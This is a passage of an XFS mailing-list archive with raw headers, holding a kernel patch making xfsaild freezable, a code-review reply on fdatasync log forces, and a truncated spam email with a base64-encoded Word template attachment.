1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: mx2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1445842420 X-Barracuda-Encrypted: ECDHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23820 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jiri Kosina Since xfsaild has been converted to kthread in 0030807c, it calls try_to_freeze() during every AIL push iteration. It however doesn't set itself as freezable, and therefore this try_to_freeze() will never do anything. Before (hopefully eventually) kthread freezing gets converted to fileystem freezing, we'd rather mark xfsaild freezable (as it can generate I/O during suspend). Signed-off-by: Jiri Kosina --- fs/xfs/xfs_trans_ail.c | 1 + 1 file changed, 1 insertion(+) diff --git a/fs/xfs/xfs_trans_ail.c b/fs/xfs/xfs_trans_ail.c index 1098cf4..06d1a29 100644 --- a/fs/xfs/xfs_trans_ail.c +++ b/fs/xfs/xfs_trans_ail.c @@ -497,6 +497,7 @@ xfsaild( long tout = 0; /* milliseconds */ current->flags |= PF_MEMALLOC; + set_freezable(); while (!kthread_should_stop()) { if (tout && tout <= 20) -- Jiri Kosina SUSE Labs From bfoster@redhat.com Mon Oct 26 06:49:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DB2307F63 for ; Mon, 26 Oct 2015 06:49:34 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9B531304039 for ; Mon, 26 Oct 2015 04:49:34 -0700 (PDT) X-ASG-Debug-ID: 1445860171-04bdf0330994ca0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ykGW2OMpgS3iFwTC (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 26 Oct 2015 04:49:31 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 04D2A3B701; Mon, 26 Oct 2015 11:49:31 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9QBnUQM012126; Mon, 26 Oct 2015 07:49:30 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id A7F8D1201AB; Mon, 26 Oct 2015 07:49:29 -0400 (EDT) Date: Mon, 26 Oct 2015 07:49:29 -0400 From: Brian Foster To: Dave Chinner Cc: sage@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH] xfs: optimise away log forces on timestamp updates for fdatasync Message-ID: <20151026114929.GA59738@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfs: optimise away log forces on timestamp updates for fdatasync References: <1445396343-4361-1-git-send-email-david@fromorbit.com> <20151022173618.GC13661@bfoster.bfoster> <20151026050720.GG8773@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151026050720.GG8773@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445860171 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Oct 26, 2015 at 04:07:20PM +1100, Dave Chinner wrote: > On Thu, Oct 22, 2015 at 01:36:19PM -0400, Brian Foster wrote: > > On Wed, Oct 21, 2015 at 01:59:03PM +1100, Dave Chinner wrote: > > > From: Dave Chinner > > > > > > xfs: timestamp updates cause excessive fdatasync log traffic > .... > > > +++ b/fs/xfs/xfs_file.c > > > @@ -248,8 +248,10 @@ xfs_file_fsync( > > > xfs_ilock(ip, XFS_ILOCK_SHARED); > > > if (xfs_ipincount(ip)) { > > > if (!datasync || > > > - (ip->i_itemp->ili_fields & ~XFS_ILOG_TIMESTAMP)) > > > + (ip->i_itemp->ili_fsync_fields & ~XFS_ILOG_TIMESTAMP)) { > > > lsn = ip->i_itemp->ili_last_lsn; > > > + ip->i_itemp->ili_fsync_fields = 0; > > > + } > > > > Ok, so we check what's been logged since the last fsync that forced the > > log. If anything other than the timestamp has been logged, we force the > > log and clear the fields. Seems like a reasonable optimization to me. > > > > One question... is it safe to clear the ili_fsync fields here if we have > > parallel fsync()/fdatasync() calls coming in? This is under the shared > > ilock, so assume that one fsync() comes in and finds non-timestamp > > changes to flush. It grabs the lsn, clears the flags and calls the log > > force. If an fdatasync() comes in before the log force completes, > > shouldn't it wait? > > Probably, but the only way to do that is to run a log force on that > same lsn. Actually, it is safe to do that log force while holding > the XFS_ILOCK (xfs_trans_commit() does that for synchronous > transactions), so we should simply be able to do: > Yeah, a parallel fsync on a single inode situation is probably not the most likely thing. Thinking about it further, the case where multiple inodes happen to have the same lsn might be more likely and takes the shared ilock out of the equation. > xfs_ilock(ip, XFS_ILOCK_SHARED); > if (xfs_ipincount(ip)) { > if (!datasync || > (ip->i_itemp->ili_fsync_fields & ~XFS_ILOG_TIMESTAMP)) > lsn = ip->i_itemp->ili_last_lsn; > } > > if (lsn) { > error = _xfs_log_force_lsn(mp, lsn, XFS_LOG_SYNC, &log_flushed); > ip->i_itemp->ili_fsync_fields = 0; > } > xfs_iunlock(ip, XFS_ILOCK_SHARED); > This looks better to me. We send the caller through the log force infrastructure until we know the log has been forced. > > > Also, is it me or are we sending an unconditional flush in the hunk > > following the log force call in xfs_file_fsync() (even if we've skipped > > the log force)? > > The flush is needed - fdatasync needs to guarantee the data is > on stable storage even if no metadata needs to be written to the > journal. > Ok. Well it's too bad we don't get any feedback about what was written from the filemap_write_and_wait_range() call. As it is, we send a flush even if there's nothing to write back. I suppose that's also not a major problem since an fsync() caller implies something was modified one way or another. Thanks. Brian > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From borjohb@wxxinfeng.com Mon Oct 26 07:38:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F3C817F72 for ; Mon, 26 Oct 2015 07:38:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 606E1304039 for ; Mon, 26 Oct 2015 05:37:43 -0700 (PDT) X-ASG-Debug-ID: 1445863035-04bdf0330c95f80001-NocioJ Received: from wxxinfeng.com ([115.195.49.225]) by cuda.sgi.com with ESMTP id 0cMb8Et7wcwoHoMk for ; Mon, 26 Oct 2015 05:37:15 -0700 (PDT) X-Barracuda-Envelope-From: borjohb@wxxinfeng.com X-Barracuda-Apparent-Source-IP: 115.195.49.225 Received: from lmlf (unknown [147.221.112.19]) by wxxinfeng.com with SMTP id hqUUz2K6IprEQEQz.1 for ; Mon, 26 Oct 2015 21:36:16 +0800 Message-ID: <20151026213616101627@wxxinfeng.com> From: =?utf-8?B?5Y2O57uP55CG?= To: Subject: =?utf-8?B?TFRY5YWz5LqO57uP5rWO6KGl5YG/?= Date: Mon, 26 Oct 2015 21:36:10 +0800 X-ASG-Orig-Subj: =?utf-8?B?TFRY5YWz5LqO57uP5rWO6KGl5YG/?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00BA_0148F6D3.13200130" X-mailer: Bcm 5 X-Barracuda-Connect: UNKNOWN[115.195.49.225] X-Barracuda-Start-Time: 1445863035 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0113c, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23825 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MV0113c BSF_SC0_MV0113c 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 ------=_NextPart_000_00BA_0148F6D3.13200130 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 DQpEZWFyIHhmczoNCg0KICANCiAgICAgICDpmYTku7bkvpvmgqjlj4LogIMuLi4g6LCi6LCi77yB 77yB77yBDQoNCg0KQiAvIFINCg0K5Y2O57uP55CGDQoNCmhu5rWO5Y2X5oC76YOoDQo= ------=_NextPart_000_00BA_0148F6D3.13200130 Content-Type: application/octet-stream; name="=?utf-8?B?5YWz5LqO57uP5rWO6KGl5YG/LmRvdHg=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?utf-8?B?5YWz5LqO57uP5rWO6KGl5YG/LmRvdHg=?=" UEsDBBQABgAIAAAAIQBwhCN/gAEAAKQFAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAAC AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0 VMlqwzAQvRf6D0bXYivpoZQSO4cuxzbQFHpV5XEiqg1psv19x05iShaHNuRiEGbeNk8aDJdGJ3MI UTmbs37WYwlY6UplJzn7GL+k9yyJKGwptLOQsxVENiyurwbjlYeY0LSNOZsi+gfOo5yCETFzHiz9 qVwwAukYJtwL+S0mwG97vTsunUWwmGKNwYrBGwkIqoRkJAK+CkM8XM4iOvNpNFcIZhScj/2MQFny uJ6uBeRMeK+VFEjy+dyWO9SpqyoloXRyZogwa0FrPAioIN7UmLwYPEElZhqT5yVJW6cRQMe/0W1c ZjTZSIpT5bsYuv1slB1KZ+FCyVtb3TCnY6nRfHASYqS9G51R4p4cQGaEstuEjuqIuNIQz17Onoo1 bhc9JdA0g1MNzuaHevMllClFsVOO49YBkSK7hPkNcpf9pgVIdw548z3/gjQwJykruoFj8aXh7Mz3 dt5CnxSxgK/3i6X/C7xLSNs/6cI/wtg+F/X0gdbx5o0tfgAAAP//AwBQSwMEFAAGAAgAAAAhAB6R GrfzAAAATgIAAAsACAJfcmVscy8ucmVscyCiBAIooAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACMkttKA0EMhu8F32HIfTfbCiLS2d5IoXci 6wOEmewBdw7MpNq+vaMgulDbXub058tP1puDm9Q7pzwGr2FZ1aDYm2BH32t4bbeLB1BZyFuagmcN R86waW5v1i88kZShPIwxq6Lis4ZBJD4iZjOwo1yFyL5UupAcSQlTj5HMG/WMq7q+x/RXA5qZptpZ DWln70C1x1g2X9YOXTcafgpm79jLiRXIB2Fv2S5iKmxJxnKNain1LBpsMM8lnZFirAo24Gmi1fVE /1+LjoUsCaEJic/zfHWcA1peD3TZonnHrzsfIVksFn17+0ODsy9oPgEAAP//AwBQSwMEFAAGAAgA AAAhAN+1TLYQAQAAvwMAABwACAF3b3JkL19yZWxzL2RvY3VtZW50LnhtbC5yZWxzIKIEASigAAEA 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 